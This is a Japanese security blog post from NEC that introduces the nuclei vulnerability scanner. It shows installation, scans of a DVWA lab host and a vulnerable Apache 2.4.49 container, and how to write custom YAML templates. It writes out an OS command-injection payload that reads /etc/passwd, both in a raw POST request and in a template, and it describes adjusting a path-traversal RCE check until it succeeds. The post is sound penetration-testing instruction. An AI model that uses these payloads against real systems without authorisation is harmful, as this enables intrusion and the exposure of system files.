Japan
サイト内の現在位置
ペネトレーションツールの紹介 ~nuclei~
NECセキュリティブログ2021年10月29日
NECサイバーセキュリティ戦略本部セキュリティ技術センターの長浜です。今回は、脆弱性診断やペネトレーションテストの再現手順の共有に便利な「nuclei」について紹介いたします。
nucleiとは
nuclei [1] は、シナリオファイルに基づいてターゲットをスキャンするツールです。本ツールは、ProjectDiscovery社がオープンソースで公開しているソフトウェアです。ライセンスはMIT licenseです。
本ツールのシナリオは最新の脆弱性も網羅されています。例えば、2021年10月に公開されたApache HTTP Serverの脆弱性の検出シナリオもすでに追加されています。
特徴は、以下の3点です。
インストール方法
nucleiは5つの方法でインストール可能です。今回は、Githubからソースコードをダウンロードし、手元の環境にて実行バイナリを作成する方法でインストールを実施したいと思います。
それ以外の方法については、公式ページ [4] をご参考ください。
インストールは以下のように実施しました。
$ git clone https://github.com/projectdiscovery/nuclei.git
$ cd nuclei/v2/cmd/nuclei
$ go build
$ sudo mv nuclei /usr/local/bin/
$ nuclei -verion
__ _
____ __ _______/ /__ (_)
/ __ ¥/ / / / ___/ / _ ¥/ /
/ / / / /_/ / /__/ / __/ /
/_/ /_/¥__,_/¥___/_/¥___/_/ 2.5.2
projectdiscovery.io
[WRN] Use with caution. You are responsible for your actions.
[WRN] Developers assume no liability and are not responsible for any misuse or damage.
[INF] Current Version: 2.5.2
version情報から2.5.2がインストールされたことが確認できます。
検証環境
nucleiを実際に動かすために、以下の検証環境を用意しました。
スキャン対象ホスト
- OSイメージ:DVWA v1.0.7
[5]
スキャン元ホスト
- OSイメージ:Kali linux 2020.2
- go言語 1.15.15
- Docker 20.10.5
基本的な使い方(DVWAを対象にスキャンを実施)
以下のようなコマンドでスキャンを実行することができます。
$ nuclei -u(-targetでも可) http://192.168.xx.xx
$ nuclei -u(-targetでも可) 192.168.xx.xx
ターゲットを指定する際にhttp://の有無によってスキャン内容が異なります。
http://なし
network系の脆弱性スキャンのみが実施されていることが確認できました。

http://あり
network系だけではなく、httpに関する脆弱性スキャンも実施されていることが確認できました。

登録されているテンプレートをもとに、脆弱性を検出していることが確認できます。検出した脆弱性の影響度に応じて文字に色がついて出力されます(criticalは赤色、mediumは橙色、lowは黄緑色、infoは青色)
これは、テンプレートの検出ルールごとに詳細が表示されます。カスタムテンプレートでも同様な実装ができるため、1つの設定ファイルで複数の検出ファイルを作ることが可能になります。
markdownファイルへの出力
markdownへの出力は以下のように実行します。指定先のディレクトリ配下に検出事項ごとにmarkdownファイルを出力することができます。
$ # 以下のようにコマンドを入力することで、markdownに出力ができます。
$ #nuclei -u http://192.168.185.134 -me(-markdown-exportでも可) (任意フォルダ名)
$ nuclei -u http://192.168.185.134 -me dvwa_vuln
$ ls -1 dvwa_vuln/
apache-detect-http___192.168.185.134.md
'CVE-2012-1823-http___192.168.185.134_index.php?
-d+allow_url_include%3don+-d+auto_prepend_file%3dphp%3a__input.md'
CVE-2018-15473-192.168.185.134_22.md
CVE-2020-1938-192.168.185.134_8009.md
http-missing-security-headers-http___192.168.185.134.md
phpinfo-files-http___192.168.185.134_phpinfo.php.md
phpmyadmin-panel-http___192.168.185.134_phpMyAdmin_.md
shell-history-http___192.168.185.134_.bash_history.md
smb-v1-detection-192.168.185.134_445.md smtp-service-detection-192.168.185.134_25.md
tech-detect-http___192.168.185.134.md
vnc-service-detection-192.168.185.134_5900.md
vsftpd-detection-192.168.185.134_21.md
上記コマンドを実行すると、markdownファイルが出力されていることが確認できます。
出力されたmarkdownファイルには、以下のように、検出事項のテンプレートに登録されている説明文に加え、スキャンの際に実行したリクエストとレスポンスの結果が記載されています。

ここでは、markdownファイルとして出力しましたが、json形式にも対応しています。
そのため、検出結果をそのままプログラムの入力として利用することもできます。
Apache環境へのスキャンの実施
脆弱なApache環境を作成しnucleiでスキャンを実施したいと思います。
脆弱性概要
- ※用意した環境の詳細は記述いたしませんが、httpd:2.4.49のコンテナイメージに対して脆弱な設定ファイルを用いてサーバを起動しています。
脆弱性に対するスキャンの実施
1. ディレクトリトラバーサル可能な環境に対してスキャンを実施
ここでは、対象の脆弱性に対するスキャンファイルのみを指定してスキャンを実施したいと思います。そのような際には、-tオプションを用いることでシナリオを指定することが可能になります。
-tオプションは、yamlファイルとディレクトリを指定することが可能です。ディレクトリを指定することで、指定したディレクトリ配下のyamlファイルをすべて対象としてスキャンを実施します。

対象である2つの脆弱性を検出できました。
CVEの番号の横にLFIが検出したと記載されているため、脆弱性の影響も把握しやすいと思います。
2. RCE可能な環境に対してスキャンを実施
次にRCE可能な脆弱性に対しても検査を実施します。
スキャン用のテンプレートファイル内にもRCE向けのシナリオが用意されていますので先ほどと同じコマンドで実行できます。

しかし、そのままでは検出できませんでした。
実行ログが確認できるように-vオプションを追加したところ、CVE-2021-41773については、赤線部分を確認するとRCE向けのシナリオではディレクトリの深さが1つ浅いようです。%2e%2e/を追加してみれば実行できそうなので、シナリオを書き換えます。
シナリオファイルは、デフォルト設定では~/nuclei-templates配下に格納されています。~/nuclei-templatesフォルダ配下のCVE-2021-41773.yamlを修正し、再度実行しました。

結果、脆弱性が検出されていることが確認できます。今回は、LFIではなくRCEとして検出されていることがわかります。
一方、CVE-2021-42013のシナリオに関してはうまく動作しないため、シナリオファイルがあっても実行できないケースがあるということは注意が必要そうです。
3. 脆弱性を修正後の環境に対してスキャンを実施
正しい設定がされている場合、本脆弱性は検出されないためRequire all grantedをRequire all deniedと設定した環境を用意しました。

脆弱性が検出されないことから、修正されていることが確認できます。
スキャンに関してまとめ
すでに用意されているシナリオファイルを用いてスキャンを実施しました。一部使えないシナリオはありましたが、網羅的に脆弱性スキャンを実施するうえでは有用なツールであるかと思います。
Custom Templateの作成
ここまで、すでに用意されているシナリオファイルを用いてのスキャン方法を紹介しました。ここからはオリジナルのシナリオ作成方法について紹介いたします。
Directory Scanシナリオの作成
nucleiではディレクトリスキャンに関してのテストシナリオがないため、本ツールで実施するためには、自身でyamlファイルの作成が必要となります。ここでは、ディレクトリスキャンを実施するシナリオファイルを以下の手順で作成しました。
# 辞書ファイルのコピー
$ cd ~/nuclei-templates
$ cp /usr/share/wordlists/dirb/common.txt helpers/wordlists/common.txt
# ディレクトリスキャン用の設定ファイルの作成
$ mkdir scan
$ vi scan/directory_scan.yaml
$ cat scan/directory_scan.yaml
id: directory_scan
# スキャンの情報を記載できます。ここに、説明文を記載することでmarkdown出力時に説明文として出力されます。
info:
author: nagahama
name: Web Directory Scan
severity: info # 脆弱性の影響度を指定します。
tags: http
# リクエストの内容を以下で記載します。
requests:
- method: GET
path:
- "{{BaseURL}}/{{path}}"
#変数化したい部分を{{}}で囲って記載します。この際、nucleiがシステムとしてもともと登録されている変数もあるので注意が必要です。
redirects: true
# 辞書ファイルを指定する際には、上記で定義した変数に対応する形でファイルを指定します。
payloads:
path: helpers/wordlists/common.txt
# 対象の脆弱性が存在すると判断するための基準を記載します。
matchers:
- type: status
part: header
status:
- 200
上記のように、nuclei Templateに公開されていないスキャンを実施するためには自身でシナリオを作成できることを確認しました。
作成したシナリオを用いてスキャンを実施します。

ディレクトリスキャンスキャンが実施できることが確認できました。
ディレクトリスキャンでは、HTTPメソッドとURLの指定のみでスキャンを実施しましたが、HTTPのRAWパケットを利用してスキャンシナリオを作成することも可能です。本機能により、脆弱性診断やペネトレーションテストの際に、検出した脆弱性をシナリオファイルとして作成することで、ほかのURLへの水平展開での検査が容易になります。
より高度なスキャンシナリオの作成
DVWAに対して脆弱性診断を実施し、そこで検出したOSコマンドインジェクションが実行できる脆弱性の再現手順を、前項で述べたRAWパケットを利用したカスタムシナリオにて作成したいと思います。
1. DVWAにログイン後「Command Execultion」にアクセス

2. 「1.1.1.1;cat /etc/passwd」と入力

pingの結果以外にもシステムの情報が出力されることを確認できました。
3. Burpにてリクエスト内容の確認
POSTパラメータのipにてOSコマンドインジェクションの脆弱性があることが確認できます。
POST /dvwa/vulnerabilities/exec/ HTTP/1.1
Host: 192.168.185.134
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://192.168.185.134/dvwa/vulnerabilities/exec/
Content-Type: application/x-www-form-urlencoded
Content-Length: 46
Connection: close
Cookie: security=low; PHPSESSID=8573f5008765f1515895be8f899fc99a
Upgrade-Insecure-Requests: 1
ip=1.1.1.1%3Bcat+%2Fetc%2Fpasswd&submit=submit
4. nuclei向けの設定ファイルの作成
Burpで確認したHTTPリクエストをそのまま利用しつつシナリオファイルを作成します。次のように書くことでHTTPリクエストをそのまま利用できます。
requests:
- raw:
- |+
POST /dvwa/vulnerabilities/exec/ HTTP/1.1
Host: {{Hostname}}
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: {{Hostname}}/dvwa/vulnerabilities/exec/
Content-Type: application/x-www-form-urlencoded
Content-Length: 46
Connection: close
Cookie: security=low; PHPSESSID=8573f5008765f1515895be8f899fc99a
Upgrade-Insecure-Requests: 1
ip=1.1.1.1%3Bcat+%2Fetc%2Fpasswd&submit=submit
しかし、このままではCookieが変わった際に、設定ファイルを実行する都度書き換える必要があります。そのため、{{Cookies}}に置き換えます。このようにすることで、nucleiを実行時に-Vオプションを利用することで実行時に変数代入が可能となります。
入力例は次のようになります。
nuclei -u 192.168.xx.xx -V Cookies="利用したいCookieの値"
また、レスポンスの期待される値も分かっているので、正規表現で対象のレスポンスがあった際にはRCEが成功したと表示ように設定します。
/etc/passwdが表示された場合にRCEの脆弱性が存在すると判断します。
matchers:
- type: regex
name: RCE
regex:
- "root:.*:0:0"
最終的に作成したcommand_execution_low.yamlは次のようになります。
id: command_execution_low
info:
name: custom
author: nagahama
severity: info
requests:
- raw:
- |+
POST /dvwa/vulnerabilities/exec/ HTTP/1.1
Host: 192.168.185.134
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://192.168.185.134/dvwa/vulnerabilities/exec/
Content-Type: application/x-www-form-urlencoded
Content-Length: 46
Connection: close
Cookie: {{Cookies}}
Upgrade-Insecure-Requests: 1
ip=1.1.1.1%3Bcat+%2Fetc%2Fpasswd&submit=submit
matchers:
- type: regex
name: RCE
regex:
- "root:.*:0:0"
また、同様にしてCookiesがmediumの場合で通過するスキャン用の設定ファイルを作成します。作成したファイルは、dvwaフォルダにそれぞれ格納し、まとめてスキャンできるようにします。
5. 実行
Cookiesの値をlow、medium、highと変化させつつ脆弱性の確認をしていきます。
まずはlowから動作確認します。

2つとも脆弱性が検出されていることが確認できました。
続いてmediumの動作確認をします。

1つの脆弱性は修正されていることが確認できました。もう一方は修正できていないことが確認できました。
最後にhighの動作確認をします。

ともに脆弱性が修正されていることが確認できました。
所感
- 最新の脆弱性のテンプレートがサポートされており、脆弱性スキャンツールとして使いやすいです。
- カスタムテンプレートも容易に作成できるため、例えば自組織で使用するオリジナルのシナリオが作成しやすいです。
- ペネトレーションテストなどで再現手順の共有がyamlファイルとコマンドだけで実施できる点がとても優れていると感じました。
- ディレクトリスキャンやURLを自動で深堀することはできないようです。そのため、例えばFFUF [7] などでディレクトリスキャンスキャンを別途実施し、その結果からURLリストを作成するとよさそうです。
- LFIの脆弱性を確認するための辞書ファイルが準備されているので、本ツールをインストールするだけですぐ検査に利用できるのは非常に便利です。
- 辞書ファイルについては、Linux系のディレクトリ構成は多く、Windows系のディレクトリ構成が少ないため、Windows系は自身で調査し登録する必要がありそうです。
- LFIのRCE可能なexploitを自動で実行する機能は、網羅的な検査という観点で非常に有用と感じました。
最後に
本ツールを利用することでテンプレートに登録されている脆弱性については、網羅的に確認することができます。
セキュリティ検査だけではなく、開発したソフトウェアの検査にも有用なツールですので、様々な業務の役に立つのではないかと思います。
以上、nucleiの紹介でした。
参考資料
- [1]
- [2]
- [3]
- [4]
- [5]
- [6]
- [7]
執筆者プロフィール
長浜 佑介(ながはま ゆうすけ)
セキュリティ技術センター リスクハンティングチーム
主にペネトレーションテスト、脆弱性診断などを担当しNECグループのセキュア開発・運用を推進。
2020年6月にIPA 産業サイバーセキュリティセンター中核人材育成プログラムを修了。
情報処理安全確保支援士(RISS)を保持。

執筆者の他の記事を読む
アクセスランキング
2025年3月16日~3月22日に読まれた記事のランキング